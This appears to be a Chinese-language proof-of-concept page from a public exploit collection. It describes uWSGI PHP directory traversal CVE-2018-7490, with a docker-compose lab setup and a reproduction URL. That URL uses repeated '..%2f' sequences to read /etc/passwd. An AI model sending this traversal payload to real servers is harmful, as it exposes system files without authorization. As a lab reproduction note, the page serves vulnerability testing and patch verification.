Awesome-POC/中间件漏洞/uWSGI PHP目录穿越漏洞 CVE-2018-7490.md
2024-11-06 14:10:36 +08:00

27 lines
808 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# uWSGI PHP目录穿越漏洞 CVE-2018-7490
## 漏洞描述
uWSGI是一款Web应用程序服务器它实现了WSGI、uwsgi和http等协议并支持通过插件来运行各种语言。
uWSGI 2.0.17之前的PHP插件没有正确的处理`DOCUMENT_ROOT`检测,导致用户可以通过`..%2f`来跨越目录,读取或运行`DOCUMENT_ROOT`目录以外的文件。
## 环境搭建
运行存在漏洞的uWSGI服务器
```
docker-compose up -d
```
运行完成后,访问`http://your-ip:8080/index.php`即可看到phpinfo信息说明uwsgi-php服务器已成功运行。
![image-20220302163241788](images/202203021632153.png)
## 漏洞复现
访问`http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`,成功读取文件:
![image-20220302163149769](images/202203021631956.png)